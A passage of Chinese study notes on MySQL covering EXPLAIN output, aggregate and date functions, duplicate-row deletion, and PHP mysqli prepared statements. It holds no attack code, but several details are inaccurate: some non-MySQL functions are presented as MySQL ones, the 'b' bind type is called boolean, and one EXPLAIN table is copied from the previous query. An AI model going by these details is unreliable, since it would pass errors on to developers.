filesort),而根据rec_id列排序的连接类型是index,而且得到的结果自然是有序的,不许额外的排序。可能正是因为这个缘故,index的效率比all高,但注意这需要相同的条件才成立(既需要排序)。 如果连接类型为index,而且extra列中的值为‘Using index’,那么称这种情况为 索引覆盖; 索引覆盖意味着什么呢?想象这样一种场景,如果说一本新华字典是一张表,当然前面的索引部分(假设按照部首的索引)是这张表的索引,那么索引覆盖就相当于根据部首索引获取第一个字到最后一个字(新华字典的所有字)。我们获得了字典中所有的字,然而我们并没有查一次表,因为我们想要的都早索引中,即索引覆盖。 mysql> explain select rec_id from employee ; +----+-------------+----------+-------+---------------+---------+---------+------+------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+----------+-------+---------------+---------+---------+------+------+-------------+ | 1 | SIMPLE | employee | index | NULL | PRIMARY | 4 | NULL | 5 | Using index | +----+-------------+----------+-------+---------------+---------+---------+------+------+-------------+ 上例获取的rec_id刚好为索引列,因此无需回表取数据。 3、range 索引范围扫描,使用BETWEEN、IN、>、>=等运算符对索引字段值进行比较,这种范围扫描索引比全表扫描要好 有范围的索引扫描,相对于index的全索引扫描,它有范围限制,因此要优于index。关于range比较容易理解,需要记住的是出现了range,则一定是基于索引的。同时除了显而易见的between,and以及'>','<'外,in和or也是索引范围扫描 4、ref 非唯一索引查找或唯一索引的前缀查找,返回匹配某个单独值的所有行,本质上也是一种索引访问,它返回所有匹配某个单独值的行,然而它可能会找到多个符合条件的行,所以他应该属于查找和扫描的混合体。 出现该连接类型的条件是: 查找条件列使用了索引而且不为主键和unique。其实,意思就是虽然使用了索引,但该索引列的值并不唯一,有重复。这样即使使用索引快速查找到了第一条数据,仍然不能停止,要进行目标值附近的小范围扫描。但它的好处是它并不需要扫全表,因为索引是有序的,即便有重复值,也是在一个非常小的范围内扫描 给employee表中的name列添加一个普通的key(值允许重复) alter table employee add key I_EMPLOYEE_NAME(`name`); 接下来,在employee表中根据name查找数据的时候,mysql优化器便选择了ref的连接类型。 mysql> explain select * from employee where `name` = '张三'; +----+-------------+----------+------+----------------+----------------+---------+-------+------+-----------------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+----------+------+----------------+----------------+---------+-------+------+-----------------------+ | 1 | SIMPLE | employee | ref | I_EMPLOYEE_NAM | I_EMPLOYEE_NAM | 62 | const | 1 | Using index condition | +----+-------------+----------+------+----------------+----------------+---------+-------+------+-----------------------+ 5、eq_ref 出现在多表连接查询中,驱动表只有一行记录,同时连接字段都是非空唯一索引 ref_eq 与 ref相比牛的地方是,它知道这种类型的查找结果集只有一个,因为使用了主键或唯一性索引进行查找的情况,首次查找便立即停止了查询。这种连接类型每次都进行着精确查询,无需过多的扫描,因此查找效率更高 出现在多表连接查询中,驱动表只有一行记录,同时连接字段都是非空唯一索引 eq_ref 唯一性索引扫描,对于每个索引键,表中只有一条记录与之匹配。常见于主键或唯一索引扫描 6、const 通常情况下,如果将一个主键放置到where后面作为条件查询,mysql优化器就能把这次查询优化转化为一个常量。至于如何转化以及何时转化,这个取决于优化器。 当MySQL对查询进行优化将其转换成常量时就会使用这个值,表示通过索引一次就找到了,const用于比较primary key或unique索引。因为只匹配一行数据,所以很快。如将主键置于where列表中,MySQL就能将该查询转换为一个常量,如where id=1 【 possible_keys 】 显示可能应用在这张表中的索引,一或多个。查询涉及到的字段上若存在索引,则该索引将被列出,但不一定被查询实际使用。 【 key 】 实际使用的索引,如果为NULL则没有使用索引,可能原因包括没有建立索引或索引失效 查询中若使用了覆盖索引(select 后要查询的字段刚好和创建的索引字段完全相同),则该索引仅出现在key列表中 【 key_len 】 表示索引中使用的字节数,可通过该列计算查询中使用的索引的长度,在不损失精确性的情况下,长度越短越好。key_len显示的值为索引字段的最大可能长度,并非实际使用长度,即key_len是根据表定义计算而得,不是通过表内检索出的 【 ref 】 引用到的上一个表的列 显示索引的那一列被使用了,可能的话最好是一个常数,哪些列或常量被用于查找索引列上的值 【 rows 】 根据表统计信息及索引选用情况,大致估算出找到所需的记录所需要读取的行数,也就是说用的越少越好 【 Extra 】 包含不适合在其他列中显式但十分重要的额外信息 using index 索引覆盖,就是查询的列都在索引里面可以找到,这样就不用去数据库里面查找了,性能全表扫描高。如果这里用到了where条件,那么条件必须是索引的前缀列。*从索引里面查数据** Extra为Using index说明,SQL所需要返回的所有列数据均在一棵索引树上,而无需访问实际的行记录 表示相应的select操作中使用了覆盖索引(Covering Index),避免访问了表的数据行,效率不错。如果同时出现using where,表明索引被用来执行索引键值的查找;如果没有同时出现using where,表明索引用来读取数据而非执行查找动作。 using where 查询的列没有被索引覆盖,并且where的条件非索引的前缀列。这个必须有where条件,**没有从索引里面查数据** Extra字段说明使用了where条件过滤,但如果type属性是ALL,表示需要扫描全部数据,仍有优化空间。常见的优化方法为,在where过滤属性上添加索引,sex字段区分度不高,添加索引对性能提升有限 using where,using index: 查询的列被索引覆盖,且where条件非索引前缀列。如果是前缀列,就成了using index了。表达的意思是通过索引覆盖没办法查到所有数据,必须通过表才行。查数据包括两部分,在哪里查,通过什么条件查。虽然有索引覆盖数据可以通过索引取出,可是查询条件不再索引中,或没办法走索引取数据。======**从索引取数据,但是没有从索引里面查数据** null 查询的列没有被索引覆盖,但where条件是索引前缀列。这样的情况下,using index不合适,因为查询的字段没有从索引里面取。using where也不合适,因为where条件么有走索引是using where,而这里没有using where,所以是走了索引的。====**没有从索引取数据,但是从索引查数据** using index condition explain select id,name from user where name='shenjian'; // id,name都是索引,using index explain select id,name,sex from user where name='shenjian'; // sex不是索引,using index condition Extra为Using index condition说明,确实命中了索引,但不是所有的列数据都在索引树上,还需要访问实际的行记录。这类SQL语句性能也较高,但不如Using index 首先排除using index索引覆盖。查询的肯定不是索引覆盖的字段,另外不是using where,说明where的条件不是前缀列,不然就是null了。如果没有where条件,比如select * from表,那么也是null。所以肯定有where条件,where条件要是前缀的话就成了null了。也不对,那就一个sql查询的字段没有索引覆盖,有where条件但是条件不是前缀列。那是什么?有条件但是不是前缀的话就成了using where了。答案是,未被索引覆盖,where条件是前缀列,但是是前缀列 的范围查询。就是说前缀列使用了大于小于等符号。 using temporary 使用了临时表来处理数据。衍生查询侧重的是查询,查询的表来自于select产出的表,不是直接查找数据库的表。临时表是经过处理的表,比如group by,distinct等 十死无生,使用了用临时表保存中间结果,MySQL在对查询结果排序时使用临时表。常见于排序order by和分组查询group by explain select * from user group by name order by sex; 结果说明: Extra为Using temporary说明,需要建立临时表(temporary table)来暂存中间结果。 这类SQL语句性能较低,往往也需要进行优化。 典型的,group by和order by同时存在,且作用于不同的字段时就会建立临时表,以便计算出最终的结果集。 using filesort 文件排序,说明没有走索引排序 九死一生,说明mysql会对数据使用一个外部的索引排序,而不是按照表内的索引顺序进行读取。MySQL中无法利用索引完成的排序操作称为"文件排序"。 Extra为Using filesort说明,得到所需结果集需要对所有记录进行文件排序。这类SQL语句性能极差,需要进行优化。 典型的,在一个没有建立索引的列上进行了order by就会触发filesort,常见的优化方案是在order by的列上添加索引,避免每次查询都全量排序 Using join buffer(Block Nested Loop) 表明使用了连接缓存,比如说在查询的时候,多表join的次数非常多,那么将配置文件中的缓冲区的join buffer调大一些。 explain select * from user where id in(select id from user where sex='no'); 结果说明: Extra为Using join buffer (Block Nested Loop)说明,需要进行嵌套循环计算。 画外音:内层和外层的type均为ALL,rows均为4,需要循环进行4*4次计算。 这类SQL语句性能往往也较低,需要进行优化。 典型的,两个关联表join,关联字段均未建立索引,就会出现这种情况。常见的优化方案是,在关联字段上添加索引,避免每次嵌套循环计算。 impossible where where子句的值总是false,不能用来获取任何元组 SELECT * FROM t_user WHERE id = '1' and id = '2' select tables optimized away 在没有GROUPBY子句的情况下,基于索引优化MIN/MAX操作或者对于MyISAM存储引擎优化COUNT(*)操作,不必等到执行阶段再进行计算,查询执行计划生成的阶段即完成优化。 distinct 优化distinct操作,在找到第一匹配的元组后即停止找同样值的动作 mysql> explain select * from users; +--+-----------+-----+----------+----+-------------+----+-------+----+----+--------+---- |id|select_type|table|partitions|type|possible_keys|key |key_len|ref |rows|filtered|Extra +--+-----------+-----+----------+----+-------------+----+-------+----+----+--------+---- | 1|SIMPLE |users|NULL |ALL |NULL |NULL|NULL |NULL| 15| 100.00|NULL +--+-----------+-----+----------+----+-------------+----+-------+----+----+--------+---- mysql> explain select * from users where age=22 union select * from users where password = 123456; --+-------------+--------+----------+----+-------------+----+-------+----+----+--------+------------- id|select_type |table |partitions|type|possible_keys|key |key_len|ref |rows|filtered|Extra --+-------------+--------+----------+----+-------------+----+-------+----+----+--------+------------- 1|PRIMARY |users |NULL |ALL |NULL |NULL|NULL |NULL| 15| 10.00|Using where 2|UNION |users |NULL |ALL |NULL |NULL|NULL |NULL| 15| 10.00|Using where NUL|UNION RESULT|< union1,2>|NULL | ALL|NULL |NULL|NULL |NULL|NULL| NULL |Using temporar --+-------------+--------+----------+----+-------------+----+-------+----+----+--------+------------- mysql> explain select * from users where uid in (select uid from users where age=22); --+-----------+-----+----------+------+-------------+-------+-------+-----------------+----+--------+----------- id|select_type|table|partitions|type |possible_keys|key |key_len|ref |rows|filtered|Extra --+-----------+-----+----------+------+-------------+-------+-------+-----------------+----+--------+----------- 1|SIMPLE |users|NULL |ALL |PRIMARY |NULL |NULL |NULL | 15| 10.00|Using where 1|SIMPLE |users|NULL |eq_ref|PRIMARY |PRIMARY|4 |my_db01.users.uid| 1| 100.00|NULL --+-----------+-----+----------+------+-------------+-------+-------+-----------------+----+--------+----------- mysql> explain select * from users where uid in (select uid from users where age=22 union select uid from users where password = 123456); ----+--------------- +--------+----------+------+-------------+-------+-------+----+----+--------+--------------- id |select_type |table |partitions|type |possible_keys|key |key_len|ref |rows|filtered|Extra ---+-------------------+--------+----------+------+-------------+-------+-------+----+----+--------+--------------- 1 | PRIMARY |users |NULL |ALL |NULL |NULL |NULL |NULL| 15| 100.00|Using where 2 |DEPENDENT SUBQUERY|users |NULL |eq_ref|PRIMARY |PRIMARY|4 |func| 1| 10.00|Using where 3 |DEPENDENT UNION |users |NULL |eq_ref|PRIMARY |PRIMARY|4 |func| 1| 10.00|Using where NULL|UNION RESULT |< union2,3> |NULL |ALL |NULL |NULL |NULL |NULL|NULL| NULL|Using temporary ----+------------------+--------+----------+------+-------------+-------+-------+----+----+--------+--------------- mysql> explain select * from users where uid = (select uid from users where username = "zhangsan"); --+-----------+-----+----------+-----+-------------+-------+-------+-----+----+--------+----------- id|select_type|table|partitions|type |possible_keys|key |key_len|ref |rows|filtered|Extra --+-----------+-----+----------+-----+-------------+-------+-------+-----+----+--------+----------- 1|PRIMARY |users|NULL |const|PRIMARY |PRIMARY|4 |const| 1| 100.00|NULL 2|SUBQUERY |users|NULL |ALL |NULL |NULL |NULL |NULL | 15| 10.00|Using where --+-----------+-----+----------+-----+-------------+-------+-------+-----+----+--------+----------- mysql> explain select * from (select * from (select * from users a) b ) c; --+-----------+-----+----------+-----+-------------+-------+-------+-----+----+--------+----------- id|select_type|table|partitions|type |possible_keys|key |key_len|ref |rows|filtered|Extra --+-----------+-----+----------+-----+-------------+-------+-------+-----+----+--------+----------- 1|PRIMARY |users|NULL |const|PRIMARY |PRIMARY|4 |const| 1| 100.00|NULL 2|SUBQUERY |users|NULL |ALL |NULL |NULL |NULL |NULL | 15| 10.00|Using where --+-----------+-----+----------+-----+-------------+-------+-------+-----+----+--------+-----------
sql函数
1.select avg(age) from user 返回数值列的平均值
select name from user where age>(select avg(age) from user);
2.select count(name) from user where name='berlin'; 返回指定列的值的数目(NULL 不计入)
select count(*) from user; 返回表中的记录数
select count(distinct status) from user; 返回指定列的不同值的数目
count(*)、count(1)、count(列名)对比
执行效果上:
count(*)包括了所有的列,相当于行数,在统计结果的时候不会忽略列值为NULL
count(1)包括了忽略所有列,用1代表代码行,在统计结果的时候不会忽略列值为NULL
count(列名)只包括列名那一列,在统计结果的时候会忽略列值为空的计数(这里的空不是只空字符串或者0,而是表示null),即某个字段值为NULL时不统计。
执行效率上:
列名为主键,count(列名)会比count(1)快
列名不为主键,count(1)会比count(列名)快
如果表多个列并且没有主键,则count(1)的执行效率优于count(*)
如果有主键,则select count(主键)的执行效率是最优的
如果表只有一个字段,则select count(*)最优
数据量比较小的话不会有问题,但数据量大了简直就是一个灾难,三种解决方案:
第一种方案: 查询最后一条数据的自增id字段值当做总条数,但这样查询不很准确,要求不太高的话可以考虑
第二种方案: 另建一张汇总表存储数据的总条数,每次增加就去这个汇总表增加一次,删除一条数据就相应的减少一次。这样可能使插入的性能稍微有影响,但比起所节省出来的性能这个完全可以忽略,毕竟读得多写得少,还有一个原则是"慢写快读"。
第三种方案: 那存到内存里面,每增加或减少一条都去更新一下内存,存持久还是非持久的就看个人喜好了
3.select max(age) from user; 返回一列中的最大值。NULL值不包括在计算中
select min(age) from user; 返回一列中的最小值。NULL值不包括在计算中
MIN和MAX也可用于文本列,以获得按字母顺序排列的最高或最低值
4.select sum(salary) from user 返回数值列的总数
5.select first(name) from user order by age; 返回指定的字段中第一个记录的值
select last(name) from user order by age; 返回指定的字段中最后一个记录的值
6.select now() from user 返回当前的日期时间
7.select round(column_name,decimals) from table_name用于把数值字段舍入为指定的小数位数
column_name 必需。要舍入的字段。
decimals 必需。规定要返回的小数位数。
select round(price,2) from user
select round(price,0) from user
8.select len(name) from user 返回文本字段中值的长度
9.group by语句用于结合合计函数,根据一个或多个列对结果集进行分组
select customer,sum(price) from orders group by customer
select customer,orderdate,sum(orderprice) from orders group by customer,orderdate
10.在SQL中增加HAVING子句原因是,WHERE关键字无法与合计函数一起使用
select customer,sum(price) from orders group by customer having sum(price) > 50;
11.把字段的值转换为大写
select ucase(lastname) as lastname,firstname from persons
12.把字段的值转换为小写
select lcase(lastname) as lastname,firstname from persons
13.mid() 函数用于从文本字段中提取字符。
select mid(column_name, start [,length]) from table_name
column_name 必需,要提取字符的字段。
start 必需,规定开始位置,起始值是1
length 可选,要返回的字符数,如果省略则MID()函数返回剩余文本。
select mid(city, 1, 3) as smallcity from persons
14.format()函数用于对字段的显示进行格式化
select format(column_name,format) from table_name
column_name 必需,要格式化的字段。
format 必需,规定格式。
select productname,unitprice,format(now(),'yyyy-mm-dd') as perdate from products
15.is null 和 is not null 操作符
关于NULL的条件比较运算符比较特殊,不能使用= NULL或者!= NULL在列中查找NULL值。
在MySQL中NULL值与任何其它值的比较(即使是NULL)永远返回false,即NULL=NULL返回false。MySQL中处理NULL使用IS NULL和IS NOT NULL运算符或<=>比较运算符
select lastname,firstname,address from persons where address is null
select lastname,firstname,address from persons where address is not null
select lastname,firstname,address from persons where address <=> null
尽量避免在where子句中对字段进行null值判断,否则将导致引擎放弃使用索引而进行全表扫描
最好不要给数据库留null,尽可能的使用not null填充数据库
16.concat以及group_concat的使用
concat()
concat(str1, str2,...)
将多个字符串连接成一个字符串,返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
select concat (id, name, score) as info from tt2;
select concat (id, ',', name, ',', score) as info from tt2; // 逗号拼接
concat_ws()
concat_ws(separator, str1, str2, ...)
和concat()一样,将多个字符串连接成一个字符串,但可以一次性指定分隔符,concat_ws就是concat with separator
第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null则返回结果为null,把分隔符指定为null结果全部变成了null
select concat_ws(',', id, name, score) as info from tt2;
group_concat()
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
将group by产生的同一个分组中的值连接起来,返回一个字符串结果。将某一字段的值按指定的字符进行累加
通过使用distinct可以排除重复值;如果希望对结果中的值进行排序可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
在有group by的查询语句中,select指定的字段要么就包含在group by语句的后面,作为分组的依据,要么就包含在聚合函数中
select name, min(id) from tt2 group by name; // 查询name相同的的人中最小的id
select name, id from tt2 order by name; // 查询name相同的人的所有的id
select name, group_concat(id) from tt2 group by name; // 显示以name分组的每组中所有的id逗号拼接
select name, group_concat(id order by id desc separator '_') from tt2 group by name; // 将上面的id号从大到小排序,且用'_'作为分隔符
select name, group_concat(concat_ws('_', id, score) order by id) from tt2 group by name; // 查询以name分组的所有组的id和score
用了group_concat后select里如果使用了limit是不起作用的
用group_concat连接字段的时候是有长度限制的,默认1024,用group_concat_max_len系统变量可设置允许的最大长度。
SET [SESSION | GLOBAL] group_concat_max_len = val; // val是一个无符号整数,结果被截至这个最大长度
mysql Date函数
【 NOW(),CURDATE(),CURTIME(),DATE() 】
NOW() 返回当前的日期和时间
CURDATE() 返回当前的日期
CURTIME() 返回当前的时间
DATE(date)函数返回日期或日期/时间表达式的日期部分。
date参数是合法的日期表达式。
OrderId ProductName OrderDate
1 'Computer' 2008-12-29 16:25:46.635
mysql> SELECT ProductName,DATE(OrderDate) AS OrderDate FROM Orders WHERE OrderId=1
结果:
ProductName OrderDate
'Computer' 2008-12-29
mysql> select CURRENT_TIME,now(),CURRENT_DATE(),CURDATE(),CURTIME(),DATE(now());
+--------------+---------------------+----------------+------------+-----------+-------------+
| CURRENT_TIME | now() | CURRENT_DATE() | CURDATE() | CURTIME() | DATE(now()) |
+--------------+---------------------+----------------+------------+-----------+-------------+
| 23:05:12 | 2019-01-22 23:05:12 | 2019-01-22 | 2019-01-22 | 23:05:12 | 2019-01-22 |
+--------------+---------------------+----------------+------------+-----------+-------------+
// OrderDate列规定NOW()作为默认值。作为结果,当您向表中插入行时,当前日期和时间自动插入列中
CREATE TABLE Orders(
OrderId int NOT NULL,
ProductName varchar(50) NOT NULL,
OrderDate datetime NOT NULL DEFAULT NOW(),
PRIMARY KEY (OrderId)
)
【 DATE_ADD(),DATE_SUB() 】
DATE_ADD(date,INTERVAL expr type) 函数向日期添加指定的时间间隔。
DATE_SUB(date,INTERVAL expr type) 函数从日期减去指定的时间间隔
date 参数是合法的日期表达式。expr参数是您希望添加的时间间隔。type参数可以是下列值:
MICROSECOND、SECOND、MINUTE、HOUR、DAY、WEEK、MONTH、QUARTER、YEAR、SECOND_MICROSECOND、MINUTE_MICROSECOND、MINUTE_SECOND
HOUR_MICROSECOND、HOUR_SECOND、HOUR_MINUTE、DAY_MICROSECOND、DAY_SECOND、DAY_MINUTE、DAY_HOUR、YEAR_MONTH
SELECT OrderId,DATE_ADD(OrderDate,INTERVAL 2 DAY) AS OrderPayDate FROM Orders // 向OrderDate添加2天
SELECT OrderId,DATE_SUB(OrderDate,INTERVAL 2 DAY) AS OrderPayDate FROM Orders // 从OrderDate减去2天
【 EXTRACT() 】
EXTRACT(unit FROM date) 函数用于返回日期/时间的单独部分,比如年、月、日、小时、分钟等等。
date参数是合法的日期表达式
Unit值同DATE_SUB()
SELECT EXTRACT(YEAR FROM OrderDate) AS OrderYear,
EXTRACT(MONTH FROM OrderDate) AS OrderMonth,
EXTRACT(DAY FROM OrderDate) AS OrderDay
FROM Orders
WHERE OrderId=1
【 year()、month()、day()、hour()、minute()、second() 】
select year(now()) // 2018
select year(birthday) from user; // 获取user表中生日的年份
select distinct year(birthday) from user; // 去除重复的值,获取user表中生日的年份
【 DATEDIFF() 】
DATEDIFF(date1,date2) 函数返回两个日期之间的天数。
date1 和 date2 参数是合法的日期或日期/时间表达式,只有值的日期部分参与计算。
SELECT DATEDIFF('2008-12-30','2008-12-29') AS DiffDate // 1
SELECT DATEDIFF('2008-12-29','2008-12-30') AS DiffDate // -1
【 DATE_FORMAT() 】
DATE_FORMAT(date,format)函数用于以不同的格式显示日期/时间数据。
date参数是合法的日期。format规定日期/时间的输出格式。
可以使用的格式有:
%a 缩写星期名
%b 缩写月名
%c 月,数值
%D 带有英文前缀的月中的天
%d 月的天,数值(00-31)
%e 月的天,数值(0-31)
%f 微秒
%H 小时 (00-23)
%h 小时 (01-12)
%I 小时 (01-12)
%i 分钟,数值(00-59)
%j 年的天 (001-366)
%k 小时 (0-23)
%l 小时 (1-12)
%M 月名
%m 月,数值(00-12)
%p AM 或 PM
%r 时间,12-小时(hh:mm:ss AM 或 PM)
%S 秒(00-59)
%s 秒(00-59)
%T 时间,24-小时 (hh:mm:ss)
%U 周 (00-53) 星期日是一周的第一天
%u 周 (00-53) 星期一是一周的第一天
%V 周 (01-53) 星期日是一周的第一天,与 %X 使用
%v 周 (01-53) 星期一是一周的第一天,与 %x 使用
%W 星期名
%w 周的天 (0=星期日,6=星期六)
%X 年,其中的星期日是周的第一天,4 位,与 %V 使用
%x 年,其中的星期一是周的第一天,4 位,与 %v 使用
%Y 年,4 位
%y 年,2 位
DATE_FORMAT(NOW(),'%b %d %Y %h:%i %p') Dec 29 2008 11:45 PM
DATE_FORMAT(NOW(),'%m-%d-%Y') 12-29-2008
DATE_FORMAT(NOW(),'%d %b %y') 29 Dec 08
DATE_FORMAT(NOW(),'%d %b %Y %T:%f') 29 Dec 2008 16:25:46.635
【 表中重复的记录 去重留一 】
// 查出users表中username重复的所有纪录
mysql> select * from users where username in (select username from users group by username having count(*) > 1);
// 查出users表中所有username重复的username和重复次数
mysql> select count(username),username from users group by username having count(*) > 1;
mysql> select count(*),username from users group by username having count(*) >1;
// 删除users表中username重复的记录只保留uid最小的,报错!
mysql> delete from users where username in (select username from users group by username having count(*) > 1) and uid not in (select min(uid) from users group by username having count(*) > 1);
create table tmp as select * from users where username in (select username from users group by username having count(*) > 1) and uid not in (select min(uid) from users group by username having count(*) > 1);
delete from users where uid in (select uid from tmp);
drop table tmp;
delete from t_student where id not in (select min(id) from t_student group by snumber);
mysql中不能这么用。错误提示就是说,不能先select出同一表中的某些值,再update这个表(在同一语句中)
替换方案:
create table tmp as select min(id) as col1 from blur_article group by title;
delete from blur_article where id not in (select col1 from tmp);
drop table tmp;
1、查找表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断
select * from people where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1)
2、删除表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断,只留有rowid最小的记录
delete from people
where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1)
and rowid not in (select min(rowid) from people group by peopleId having count(peopleId )>1)
3、查找表中多余的重复记录(多个字段)
select * from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)
4、删除表中多余的重复记录(多个字段),只留有rowid最小的记录
delete from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)
and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)
5、查找表中多余的重复记录(多个字段),不包含rowid最小的记录
select * from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)
and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)
6、示例:查询name, sex, age重复的数据
select
name, sex, age,
count(*) as count -- 数据重复出现的次数
from user_info
group by name, sex, age
having count(*) > 1;
// 保留重复数据中,第一次出现的数据(id最小的一行),后面出现的数据(其他比较大的id)不保留。要保留id行最大的一行数据即最后的数据行将min(id)或max(id)函数即可
select * from user_info
where id in (
select
min(id)
from user_info
group by name, sex, age
);
// 删除重复数据
// 方法一、思路是找到要删除的数据是哪些,然后在删除时使用where条件去匹配这些查询出来要删除的数据行,以此来达到删除重复数据的目的
delete from user_info
where (name,sex,age) in (
select x.* from ( -- 删除的时候,这里要在包裹一层子查询
select -- 查询重复数据中,name, sex, age的值
name, sex, age
from user_info
group by name, sex, age
having count(*) > 1
) as x
)
and id not in (
select min_id from ( -- 删除的时候,这里要在包裹一层子查询
select -- 查询重复数据中,最小的id值
min(id) as min_id
from user_info
group by name, sex, age
having count(*) > 1
) as y
);
// 方法二、不要去关注哪些是需要删除的重复数据,相反关注哪些是需要留下来的数据。然后可以在删除时使用取反的方式not in需要保留下来的数据,那不是就需要删除的数据吗?所以想一想哪些使需要留下来的数据呢?每一组数据中,id值最小的哪一行就是要保留的数据行。其余的就不关心了。那么怎么样才能取到这样的数据行呢?使用下面的SQL语句可以获取需要保留的数据行的所有的id的值:
select
min(id)
from user_info
group by name, sex, age;
既然想要保留的数据行的id集合得到了,在要删除数据的where条件中,使用not in我们要保留的id集合,不就是需要删除的数据吗?
删除重复数据的语句如下:
delete from user_info
where id not in(
select min_id from (
select
min(id) as min_id
from user_info
group by name, sex, age
) as x
);
注意:这里为了避免MySQL的1903错误,也在where条件的子查询中包裹了另外一个子查询,即上面SQL中as x查询语句。
方法三
通过两个表关联的方式来删除数据,这个方式效率比较高,推荐使用这种方式。自己和自己关联,关联的条件就是我们判断数据是否为重复数据的key。除此之外,最重要的一个条件是:两个表的id关联条件,这个是删除保留数据的关键条件。
查询重复数据的SQL语句如下:
select a.*,b.*
from user_info as a
inner join user_info as b
on a.name = b.name
and a.sex = b.sex
and a.age = b.age
and a.id > b.id;
写法1
删除重复数据SQL语句如下:
delete a.*
from user_info as a
inner join user_info as b
on a.name = b.name
and a.sex = b.sex
and a.age = b.age
and a.id > b.id;
写法2
除了上面的那种写法之外,还有另外一种写法,如下:
查询待删除的重复数据SQL如下:
select * from user_info as a
where a.id <> (
select
min(b.id)
from user_info as b
where a.name = b.name
and a.sex = b.sex
and a.age = b.age
);
删除重复数据的SQL语句如下:
delete a.* from user_info as a
where a.id <> (
select
min(b.id)
from (
select * from user_info
) as b
where a.`name`= b.`name`
and a.sex = b.sex
and a.age = b.age
);
在真正删除之前对原数据备份一下,以便删除错误后数据不能恢复回来。可以使用如下的语句来创建一个备份表,以便于在删除错误后,把数据恢复到原来的表中去。
create table user_info_bak as select * from user_info; --创建一个备份表
truncate table user_info; -- 清空原始表中的数据
insert into user_info select * from user_info_bak; -- 从备份表中把数据插入到原始表中
像上面这样操作,数据如果删除失误的时候,可以从user_info_bak中还原数据到user_info表中。
php操作MySQL数据库
关系型数据库管理系统Relational DatabaseManagementSystem + php
MYSQL是一种数据库,定义了存储信息的结构
数据库表
SQL 语句
phpMyAdmin是MySQL的数据库管理工具,用web接口管理MySQL数据库
MySQL操作方式
1.Mysql 安全问题,不建议使用
2.Mysqli
3.PDO 支持多种数据库,安全性好,标准统一
PDO应用在12种不同数据库中,MySQLi只针对MySQL数据库
两者都是面向对象,但MySQLi还提供了API接口
两者都支持预处理语句,预处理语句可以防止SQL注入,对于web项目的安全性是非常重要的
两者都可以在$GLOBALS中查看数据库连接对象和sql语句执行结果
四步骤:
1.连接数据库
2.选择要操作的数据库并设置字符集mysql_set_charset('utf-8');
3.执行SQL语句
4.关闭连接
连接一个MySQl数据库:
mysql_connect(servername,username,password) ;返回数据库连接句柄,否则false
servername 可选。规定要连接的服务器。默认"localhost:3306"
username 可选。规定登录所使用的用户名。默认值是拥有服务器进程的用户的名称
password 可选。规定登录所用的密码。默认""
mysql_query($sql) 函数用于创建数据库CREATE DATABASE、创建表CREATE TABLE,返回resource类型的mysql结果集,读取结果集内容:
mysql_fetch_array($result[,MYSQL_ASSOC/MYSQL_NUM/MYSQL_BOTH]) 默认MYSQL_BOTH,每次只读取一条数据
mysql_fetch_assoc($result) 相当于array MYSQL_ASSOC
mysql_fetch_row($result) 相当于array MYSQL_ NUM
mysql_select_db() 函数选取数据库
mysql_close() 函数关闭连接
mysqli方式
$link=mysqli_connect($dbhost,$dbuser,$password,$database); // 返回数据库连接句柄 参数$database缺省时需要设置mysql_select_db() 设置数据库字符集: 1.mysqli_set_charset(mysqli $link,string $ charset)如: 'utf8' 2.mysqli_query($link,'SET NAMES utf8'); 执行查询语句 $result=mysqli_query(mysqli $link,string $sql); 获得查询结果 mysqli_fetch_array($result) mysqli_fetch_assoc($result) mysqli_fetch_row($result) mysqli_fetch_object($result) 获得影响行数 mysqli_affected_rows($link); // 插入、更新、删除 mysqli_num_rows($result); // 查询数据条数 获得错误信息 mysqli_error($link); mysqli_connect_errno($con); // 错误代码 mysqli_connect_error($con); // 错误信息 释放结果集和关闭连接 mysqli_free_result($result); 查询时调用,手动释放内存 mysqli_close($link);mysqli面向对象mysqli 面向过程 Procedural
MySQLi使用预处理语句及绑定参数
mysqli扩展可以不带数据发送语句或查询到mysql数据库,可以向列关联或绑定变量
预处理语句用于执行多个相同的SQL语句,并且执行效率更高
预处理语句的工作原理如下:
预处理: 创建 SQL 语句模板并发送到数据库。预留的值使用参数 "?" 标记
INSERT INTO MyGuests (firstname,lastname,email) VALUES(?,?,?)
数据库解析,编译,对SQL语句模板执行查询优化,并存储结果不输出
执行: 最后将应用绑定的值传递给参数(")" 标记),数据库执行语句。应用可以多次执行语句,如果参数的值不一样
相比于直接执行SQL语句,预处理语句有两个主要优点:
预处理语句大大减少了分析时间,只做了一次查询(虽)语句多次执行)
绑定参数减少了服务器带宽,你只需要发送查询的参数,而不是整个语句
预处理语句针对SQL注入是非常有用的,因为参数值发送后使用不同的协议,保证了数据的合法性
mysqli_stmt_bind_param($stmt,'sss',$firstname,$lastname,$email);
该函数绑定参数查询并将参数传递给数据库
第二个参数是 "sss" 。以下列表展示了参数的类型 s 字符告诉 mysql 参数是字符串
可以是以下四种参数:
i - 整数
d - 双精度浮点数
s - 字符串
b - 布尔值
每个参数必须指定类型来保证数据的安全性。通过类型的判断可以减少SQL注入漏洞带来的风险
mysqli面向过程 使用模块化来处理问题,可以通过创建代码块实现更简单的读取和管理mysqli面向对象 预处理语句及绑定参数pdo 面向对象PDO中的预处理语句并绑定参数
PDO(PHP Data Object)
